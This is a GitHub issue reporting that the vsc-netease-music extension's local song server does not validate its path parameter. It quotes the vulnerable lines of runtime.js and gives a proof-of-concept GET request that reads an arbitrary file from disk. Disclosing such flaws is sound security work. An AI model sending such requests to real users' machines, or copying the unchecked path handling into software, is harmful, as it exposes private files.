New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Arbitrary file access #114

Open

tengattack opened this issue Apr 7, 2021 · 0 comments

tengattack commented Apr 7, 2021

As vsc-netease-music creates a local server to serve song files, it doesn't check the path param, so we could access arbitrary files on disk.

vsc-netease-music/runtime.js

Lines 468 to 469 in 7896974

    
           let file = decodeURIComponent(urlParse(query.path).pathname), meta = {} 
        
           file = process.platform === 'win32' ? file.replace(/^\//, '') : file

GET http://127.0.0.1:16363/song/file?path=file://%2FD%3A%2Ftext.txt

The text was updated successfully, but these errors were encountered:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment